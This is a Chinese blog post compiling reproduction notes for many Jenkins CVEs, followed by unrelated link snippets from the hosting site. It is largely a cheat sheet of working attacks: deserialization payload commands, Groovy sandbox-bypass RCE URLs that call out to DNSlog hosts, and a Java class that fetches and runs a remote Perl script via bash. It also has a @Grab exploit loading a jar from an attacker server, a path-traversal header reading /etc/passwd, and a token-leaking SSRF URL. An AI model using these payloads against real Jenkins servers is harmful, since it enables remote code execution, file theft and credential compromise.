当前位置: 首页 > news >正文

jenkins漏洞集合

目录

CVE-2015-8103 反序列化远程代码执行

CVE-2016-0788 Jenkins CI和LTS 远程代码执行漏洞

CVE-2016-0792 低权限用户命令执行

CVE-2016-9299 代码执行

CVE-2017-1000353 Jenkins-CI 远程代码执行

CVE-2018-1000110 用户枚举

CVE-2018-1000861 远程命令执行

CVE-2018-1999002 任意文件读取

CVE-2018-1000600 Jenkins GitHub 信息泄露

CVE-2019-1003000 远程代码执行

CVE-2019-1003005 远程代码执行

CVE-2019-1003029 Script Security Plugin沙箱绕过

CVE-2019-10392 Jenkins Git 插件命令执行

CVE-2019-10352 任意文件写入


复现文章和脚本大都是网上收集,大部分能找到出处的,个别找不到明确的地址。

CVE-2015-8103 反序列化远程代码执行

1.638之前的Jenkins和1.625.2之前的LTS中的Jenkins CLI子系统,允许远程攻击者通过制作的序列化Java对象执行有问题的commons-collections。

利用脚本:https://github.com/LeoHuang2015/jenkins-cli-exploit

执行后有类似如下反应:

image-20200327115239320

还可以使用msf中的模块exploit/linux/misc/jenkins_java_deserialize来执行攻击反弹shell。

CVE-2016-0788 Jenkins CI和LTS 远程代码执行漏洞

CloudBeesJenkinsCI1.650之前版本和LTS1.642.2之前版本的remoting模块中存在安全漏洞。远程攻击者可通过打开JRMP监听程序利用该漏洞执行任意代码。

利用需要X-Jenkins-CLI2-Port对应的端口,如果Jenkins无法获取CLI版本2的端口标头“ X-Jenkins-CLI2-Port”,它会退回到版本1。

利用ys生成二进制文件:java -jar ysoserial.jar CommonsCollections3 "curl http://r9rub4.ceye.io/" > payload.bin

利用脚本:https://github.com/foxglovesec/JavaUnserializeExploits/blob/master/jenkins.py

发送的二进制文件实际上是十六进制的(<===[JENKINS REMOTING CAPACITY]===>)与其后base64的编码构成。使用类似反应如下:

image-20200327121322560

CVE-2016-0792 低权限用户命令执行

影响版本:jenkins小于 1.650

利用脚本:https://github.com/jpiechowka/jenkins-cve-2016-0792

执行后类似如下

image-20200327120724417

CVE-2016-9299 代码执行

2.32之前的Jenkins和2.19.3之前的LTS中的远程处理模块允许远程攻击者通过精心制作的序列化Java对象执行任意代码,从而触发对第三方服务器的LDAP查询。

关于这个漏洞的分析和代码利用,已经有详细的分析文章:https://paper.seebug.org/199/

msf有成熟的利用模块:exploit/linux/misc/jenkins_ldap_deserialize

CVE-2017-1000353 Jenkins-CI 远程代码执行

影响版本:Jenkins<=2.56。Jenkins LTS <= 2.46.1

下载pochttps://github.com/vulhub/CVE-2017-1000353

执行生成字节码文件。

java -jar CVE-2017-1000353-SNAPSHOT-all.jar jenkins_poc.ser "curl http://xxx.ceye.io"

利用py文件来进行发送

python exploit.py http://x.x.x.x:8080 jenkins_poc.ser

会有如下反应

image-20200325165630218

CVE-2018-1000110 用户枚举

模糊搜索:http://x.x.x.x:8080/search/?q=a

image-20200325165813965

http://x.x.x.x:8080/search/suggest?query=a

image-20200325165911492

如果git插件小于3.7,也可以使用如下

http://x.x.x.x:8080/git/search/?q=a

http://x.x.x.x:8080/git/search/suggest?query=a

CVE-2018-1000861 远程命令执行

可以使用如下的一键化脚本

https://github.com/orangetw/awesome-jenkins-rce-2019

也可以自定义发送请求

http://x.x.x.x:8080/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=public class x {public x(){"curl http://xxx.ceye.io/CVE-2018-1000861".execute()}}

页面返回空白,响应为

image-20200325171107715

如果使用脚本,则同样效果

image-20200325171239538

还可以使用的POC,使用会提示错误信息,但命令已执行。

/securityRealm/user/test/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=import+groovy.transform.*%0a%40ASTTest(value%3d%7bassert+java.lang.Runtime.getRuntime().exec("curl http://xxx.ceye.io/CVE-2018-1000861")%7d)%0aclass+Person%7b%7d
/securityRealm/user/test/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=import+groovy.transform.*%0a%40ASTTest(value%3d%7b+"curl http://xxx.ceye.io/CVE-2018-1000861".execute().text+%7d)%0aclass+Person%7b%7d

环境搭建

参考:Vulhub - Docker-Compose file for vulnerability environment

执行如下命令启动一个Jenkins 2.138,包含漏洞的插件也已经安装:

docker-compose up -d

环境启动后,访问http://your-ip:8080即可看到一个已经成功初始化的Jenkins,无需再进行任何操作。

漏洞复现

使用 @orangetw 给出的一键化POC脚本,发送如下请求即可成功执行命令:

 
  1. http://your-ip:8080/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript

  2. ?sandbox=true

  3. &value=public class x {

  4. public x(){

  5. "touch /tmp/success".execute()

  6. }

  7. }

/tmp/success已成功创建:

 

CVE-2018-1999002 任意文件读取

影响版本:Jenkins weekly 2.132 以及更早的版本。Jenkins LTS 2.121.1 以及更早的版本

可以读取Windows系统服务器中的任意文件,且在特定而条件下也可以读取Linux系统服务器中的文件.

详情:https://xz.aliyun.com/t/2486

结合payload来看,我们请求的url为/plugin/credentials/.ini,则base为空,扩展名(ext变量)即为.ini,然后通过一系列的尝试openURL,在此例中即最后一个情形con = openURL(map(base+'_'+ locale.getLanguage()+ext));,会去请求_../../../../../../../../../../../../windows/win.ini ,尽管目录_..并不存在,但在win下可以直接通过路径穿越来绕过。但在linux,则需要一个带有_的目录来想办法绕过。

需要已经开启了匿名用户读取权限,在请求头中添加

 

Accept-Language: /../../../../../../../../etc/passwd

处理请求中的包含路径,比如/plugin/xxxx,可以尝试

 

/plugin/jquery-detached/.xml

/plugin/jquery-detached/.key

/plugin/credentials/.ini

在Windows下这么使用

 
  1. GET /plugin/credentials/.ini HTTP/1.1

  2. Host: x.x.x.x:8080

  3. Accept: text/javascript, text/html, application/xml, text/xml, */*

  4. X-Prototype-Version: 1.7

  5. DNT: 1

  6. X-Requested-With: XMLHttpRequest

  7. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.106 Safari/537.36

  8. Origin: http://x.x.x.x:8080

  9. Referer: http://x.x.x.x:8080/

  10. Accept-Encoding: gzip, deflate

  11. Accept-Language: /../../../../../../../../etc/passwd

  12. Cookie: JSESSIONID.450017e3=x6kdpnkcgllh18wvlaohsqq8z; screenResolution=1920x1080; JSESSIONID.ccf0cd96=node09crp5bs5eglyrv874no3w48l0.node0; JSESSIONID.6551b177=14vcq2nsop6bw1u8urepj65kwv; td_cookie=1608956971

  13. Connection: close

CVE-2018-1000600 Jenkins GitHub 信息泄露

影响版本:Jenkins GitHub插件小于1.29.1

利用的POC为,其中user1为用户名。

/securityRealm/user/user1/descriptorByName/org.jenkinsci.plugins.github.config.GitHubTokenCredentialsCreator/createTokenByPassword?apiUrl=http://xxx.ceye.io

执行后显示

image-20200326173809956

查看DNSlog回显

image-20200326173837239

CVE-2019-1003000 远程代码执行

实际影响版本及编号:CVE-2019-1003000 (Script Security), CVE-2019-1003001 (Pipeline: Groovy), CVE-2019-1003002 (Pipeline: Declarative)

拥有Overall/Read 权限的用户可以绕过沙盒保护,在jenkins可以执行任意代码。此漏洞需要一个账号密码和一个存在的job。受影响插件版本:Pipeline: Declarative 插件 <= 1.3.4。Pipeline: Groovy 插 件 <= 2.61。Script Security 插 件 <= 1.49。

下载环境和利用代码:https://github.com/adamyordan/cve-2019-1003000-jenkins-rce-poc.git

执行利用后显示

image-20200326112837107

我们的job中也被添加了如下

image-20200326112903149

CVE-2019-1003005 远程代码执行

受影响版本:

  1. Jenkins 2.53
  2. Jenkins 2.122
  3. Jenkins 2.137
  4. Jenkins 2.138 启用匿名读取
  5. Jenkins 2.152 启用匿名读取
  6. Jenkins 2.153 启用匿名读取
  7. Script Security Plugin 1.43
  8. Script Security Plugin 1.48

下载利用脚本:https://github.com/orangetw/awesome-jenkins-rce-2019

构建环境后,执行脚本如下

image-20200326124130037

显示如下

image-20200326124151396

当然如果不想使用这种一键式脚本还可以自己构造jar来利用

创建Payload.java

 
  1. public class Payload {

  2. public Payload(){

  3. try {

  4. String payload = "curl orange.tw/bc.pl | perl -";

  5. String[] cmds = {"/bin/bash", "-c", payload};

  6. java.lang.Runtime.getRuntime().exec(cmds);

  7. } catch (Exception e) { }

  8. }

  9. }

编译文件,创建META-INF/services/文件夹,同时在文件夹下创建名为org.codehaus.groovy.plugins.Runners的文件。内容随意,比如Payload

文件创建后,在某一目录下,文件树类似如下:

image-20200327093359850

编译以上目录jar cvf poc-1.jar code/

将编译产生的文件移动到类似如下地址cp poc-1.jar ~/www/code/payload/poc/1/

将www目录移动到web服务器中,地址类似:http://xxx.com/code/payload/poc/1.poc-1.jar

利用如下exp

 
  1. http://<TARGET HOST>/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile

  2. ?value=

  3. @GrabConfig(disableChecksums=true)%0a

  4. @GrabResolver(name='payload', root='http://<EXPLOIT HOST>')%0a

  5. @Grab(group='package', module='payload', version='1')%0a

  6. import Payload;

CVE-2019-1003029 Script Security Plugin沙箱绕过

此漏洞和CVE-2019-1003005漏洞同样都是由Script Security插件引起。利用方式和上一致。影响版本1.55以下。

CVE-2019-10392 Jenkins Git 插件命令执行

之前做过这个漏洞的复现,地址:CVE-2019-10392 Jenkins 2k19认证远程RCE ~ Misaki's Blog

CVE-2019-10352 任意文件写入

该漏洞使经过身份验证的具有Job/Configure权限的攻击者可以使用目标之外的文件名定义文件参数,从而导致任意文件写入。

创建一个名为test的新“自由式项目”(该项目的工作空间将位于JENKINS_HOME/workspace/test)

相关文章:

jenkins漏洞集合

目录 CVE-2015-8103 反序列化远程代码执行 CVE-2016-0788 Jenkins CI和LTS 远程代码执行漏洞 CVE-2016-0792 低权限用户命令执行 CVE-2016-9299 代码执行 CVE-2017-1000353 Jenkins-CI 远程代码执行 CVE-2018-1000110 用户枚举 CVE-2018-1000861 远程命令执行 CVE-2018…...

用canvas画一个炫酷的粒子动画倒计时

前言 &#x1f606; 这是一篇踩在活动尾声的文章&#xff0c;主要是之前在摸鱼社群里有人发了个粒子动画的特效视频&#xff0c;想着研究研究写一篇文章出来看看&#xff0c;结果这一下子就研究了半个多月。 &#x1f602; 下面就把研究成果通过文字的形式展现出来吧&#xf…...

Java技术学习——Maven相关知识

一、什么是Maven&#xff1f; Maven是Apache软件基金会组织维护的一款专门为Java项目提供构建和依赖管理支持的工具。 1.1 构建 构建过程包含的主要环节如下&#xff1a; 清理&#xff1a;删除上一次构建的结果&#xff0c;为下一次构建做好准备编译&#xff1a;Java源程序…...

C++ 认识和了解C++

1.在使用C语言写代码的时候开头要用到的是&#xff1a; #include<iostream> using namespace std;不可以写成这样&#xff1a; #include iostream.h&#xff08;1&#xff09;iostream是输入输出流类&#xff0c; istream输入流类 cin >> ostream输出流类 cout &…...

u盘误删的文件怎么找回

u盘误删的文件怎么找回?u盘的特点之一就是极其便携&#xff0c;可以容纳各种格式的数据和文件&#xff0c;需要时可以直接使用。每次使用都会或多或少的存放一些文件&#xff0c;但有使用就会有删除&#xff0c;为了不影响使用性&#xff0c;清理存储空间是必要的。清理中如果…...

二分查找由浅入深--算法--java

二分查找写在开头算法前提&#xff1a;算法逻辑算法实现简单实现leftright可能超过int表示的最大限度代码分析和变换更多需求&#xff1a;求索引最小的值java二分API应用基础题思考难度方法写在开头 二分查找应该是算比较简单的这种算法了&#xff0c;我本以为还可以。但有时候…...

【学习】笔记本电脑重新安装系统win10

安装系统有很多方法: 软件安装制作启动u盘本文使用的方法就是启动盘安装: 1.首先下载iso镜像文件: msdn我告诉你:MSDN, 我告诉你 - 做一个安静的工具站 (itellyou.cn) 2.下载启动盘制作工具: 制作启动盘rufus:Rufus - 轻松创建 USB 启动盘 3.官网下载: https://do…...

RocketMQ的一些使用理解

1.RocketMQ的生产者生产负载策略&#xff08;3种&#xff09; (1)SelectMessageQueueByHash &#xff08;一致性hash&#xff09; (2)SelectMessageQueueByMachineRoom &#xff08;机器随机&#xff09; (3)SelectMessageQueueByRandom &#xff08;随机&#xff09; 第1种一…...

Java枚举详解

一.枚举 1.为什么有枚举&#xff1f; 如果我们的程序需要表示固定的几个值&#xff1a; 比如季节&#xff1a;spring (春)&#xff0c;summer(夏)&#xff0c;autumn(秋)&#xff0c;winter(冬) 用常量表示&#xff1a; public static final int SEASON_SPRING 1;public st…...

虚拟机上安装openKylin详细步骤总结

一、创建虚拟机 首先获取操作系统安装镜像文件&#xff1a; 链接&#xff1a;https://pan.baidu.com/s/1tSuXmDk2ZILR4ieee6iImw?pwdcy47 提取码&#xff1a;cy47 &#xff08;1-1&#xff09;进入新虚拟机创建向导&#xff0c;选择“自定义”&#xff1a; &#xff08;1-…...

夜天之书 #74 企业开源的软件协议模型实践(Part 2)

在上一篇文章中&#xff0c;我介绍了企业开源的完全开放源码策略及其风险。完全开放源码&#xff0c;即以符合开源定义的软件协议发布企业自研软件的情形。本文介绍应对完全开放源码后的风险的第一种策略&#xff1a;提高市场占有率与开放标准。与其说是策略&#xff0c;不如说…...

2.webpack实时打包

简介 上一章已经实现了使用 webpack 构建了一个简单的项目&#xff1b;但是我们发现&#xff0c;每次修改了 index.js 需要重新执行 cnpm run dev 命令重新构建 main.js&#xff1b;这在开发阶段是无法忍受的&#xff0c;因为这样调式将浪费大量的时间&#xff1b;还好 webpac…...

KingbaseES V8R3 表加密

前言 透明加密是指将数据库page加密后写入磁盘&#xff0c;当需要读取对应page时进行加密读取。此过程对于用户是透明&#xff0c; 用户无需干预。 该文档进行数据库V8R3版本测试透明加密功能&#xff0c;需要说明&#xff0c;该版本发布时间早于V8R6&#xff0c;所以只能进行表…...

2 为社么软件架构很重要?

2 为社么软件架构很重要&#xff1f; 啊&#xff0c;建造&#xff0c;建造&#xff01; 这是所有艺术中最崇高的艺术。 — 亨利沃兹沃思朗费罗 如果架构是答案&#xff0c;那么问题是什么&#xff1f; 本章从技术角度重点介绍架构的重要性。我们将研究面包师的十几个最重要…...

Python 之 Pandas merge() 函数、set_index() 函数、drop_duplicates() 函数和 tolist() 函数

文章目录一、merge() 函数1. inner2. left 和 right3. outer二、set_index() 函数三、drop_duplicates() 函数四、tolist() 函数五、视频数据分析案例1. 问题要求2. 解决过程在最开始&#xff0c;我们先导入常规的 numpy 和 pandas 库。 import numpy as np import pandas as …...

MySQL实战之深入浅出索引(下)

1.前言 在上一篇文章中&#xff0c;我们介绍了InnoDB索引的数据结构模型&#xff0c;今天我们再继续聊一下跟MySQL索引有关的概念。 在介绍之前&#xff0c;我们先看一个问题&#xff1a; 表初始化语句 mysql> create table T ( ID int primary key, k int NOT NULL DEFA…...

(二分查找)leetcode1539. 第 k 个缺失的正整数

文章目录一、题目1、题目描述2、基础框架3、原题链接二、解题报告1、思路分析2、时间复杂度3、代码详解三、本题小知识一、题目 1、题目描述 给你一个 严格升序排列 的正整数数组 arr 和一个整数 k 。 请你找到这个数组里第 k 个缺失的正整数。 示例 1&#xff1a; 输入&…...

yaml文件格式详解及实例

&#x1f341;博主简介 &#x1f3c5;云计算领域优质创作者   &#x1f3c5;华为云开发者社区专家博主   &#x1f3c5;阿里云开发者社区专家博主 &#x1f48a;交流社区&#xff1a;运维交流社区 欢迎大家的加入&#xff01; 文章目录yaml简介yaml语法规则Yaml语法实例数组…...

AOP在PowerJob中的使用,缓存锁保证并发安全,知识细节全总结

这是一篇简简单单的文章&#xff0c;需要你简简单单看一眼就好&#xff0c;如果有不明白的地方&#xff0c;欢迎留言讨论。 在之前的文章中出现过一次AOP的使用&#xff0c;就是在运行任务之前&#xff0c;需要判断一下&#xff0c;触发该任务执行的server&#xff0c;是不是数…...

对账平台设计

背景 随着公司业务的蓬勃发展&#xff0c;交易履约清结算业务的复杂性也在不断的增高&#xff0c;资金以及各种数据的一致性和准确性也变得越发重要。 以交易链路为例&#xff0c;存在着如下一些潜在的不一致场景&#xff1a; 订单支付成功了&#xff0c;但是订单状态却还是“…...

从 SU22 到 SU24,权限检查指示符和默认值的装载与落地治理

在 SAP 权限项目里,最容易被低估的一类数据,不是用户主记录,也不是 PFCG 角色本身,而是藏在 SU22 和 SU24 背后的权限检查指示符与授权默认值。很多团队在 DEV 系统里把角色调到绿灯,以为传到 QAS 和 PRD 以后就万事大吉,结果一到回归测试,业务顾问打开 VA01、ME21N、FD…...

Android Studio报错救星:一招永久优化Gradle下载,告别‘Could not install’

Android Studio开发环境深度优化&#xff1a;根治Gradle下载问题的系统方案 每次新建Android项目时&#xff0c;看着进度条卡在"Downloading Gradle"动弹不得&#xff0c;你是否也经历过这种绝望&#xff1f;Gradle下载失败堪称Android开发者入门的第一道坎&#xff…...

为智能硬件项目集成大模型能力利用Taotoken实现低成本高可用的方案

&#x1f680; 告别海外账号与网络限制&#xff01;稳定直连全球优质大模型&#xff0c;限时半价接入中。 &#x1f449; 点击领取海量免费额度 为智能硬件项目集成大模型能力利用Taotoken实现低成本高可用的方案 在智能家居、物联网等嵌入式硬件项目中引入大模型能力&#xf…...

【高光谱图像数据处理实战】基于Python的ENVI图像交互式裁剪与光谱数据预处理

前言在处理高光谱图像数据&#xff08;Hyperspectral Imaging&#xff0c; HSI&#xff09;时&#xff0c;我们常常需要面对两个核心问题&#xff1a;一是如何从庞大的三维数据立方体&#xff08;Data Cube&#xff09;中高效、准确地提取感兴趣区域&#xff08;ROI&#xff09…...

机器人接触式操作:混合式轨迹优化与策略学习

1. 机器人接触式操作的核心挑战与解决方案在机器人操作领域&#xff0c;接触式任务&#xff08;如物体翻转、装配、精密放置&#xff09;一直是最具挑战性的问题之一。这类任务要求机器人频繁建立和断开与物体的接触&#xff0c;同时需要精确控制接触力和运动轨迹。哪怕几毫米的…...

Godot 4.x ECS插件GECS:数据驱动架构提升游戏性能与可维护性

1. 项目概述&#xff1a;GECS&#xff0c;为Godot 4.x注入ECS架构之力如果你正在用Godot开发游戏&#xff0c;尤其是那种实体数量多、交互逻辑复杂的项目&#xff0c;比如RTS、模拟经营或者一个满屏敌人的弹幕游戏&#xff0c;你很可能已经感受到了传统面向对象&#xff08;OOP…...

SRWE:Windows窗口实时编辑器的专业应用指南

SRWE&#xff1a;Windows窗口实时编辑器的专业应用指南 【免费下载链接】SRWE Simple Runtime Window Editor 项目地址: https://gitcode.com/gh_mirrors/sr/SRWE 在数字内容创作和游戏开发领域&#xff0c;分辨率限制常常成为技术瓶颈。传统Windows窗口管理系统缺乏灵活…...

逆光也能精准识别人脸,门禁不再卡壳

人脸门禁普及的路上&#xff0c;安全质疑从未停止&#xff1a;照片能不能骗过摄像头&#xff1f;视频冒充会不会被放行&#xff1f;尤其在学校、幼儿园、医院等需要高度核验身份的场所&#xff0c;一丁点伪冒漏洞都可能酿成风险。ZUU中优云联ZU-YK751人脸识别门禁终端&#xff…...

Midjourney Spinach印相实操手册:手把手配置--sref、--stylize、--cw权重,5分钟复刻暗房级颗粒与褪色层次

更多请点击&#xff1a; https://intelliparadigm.com 第一章&#xff1a;Midjourney Spinach印相的核心美学溯源 Midjourney Spinach印相并非官方功能命名&#xff0c;而是社区对一类高对比度、低饱和、肌理感强烈且带有手工暗房隐喻的图像生成风格的诗意指称。“Spinach”一…...

从RNN的“失忆症”到LSTM的“记忆宫殿”:图解三个门控单元如何拯救梯度消失

从RNN的"失忆症"到LSTM的"记忆宫殿"&#xff1a;图解三个门控单元如何拯救梯度消失 想象一下&#xff0c;你正在阅读一本精彩的小说&#xff0c;但每翻过一页就会忘记前一页的大部分内容——这就是标准RNN神经网络面临的困境。在自然语言处理和时间序列分析…...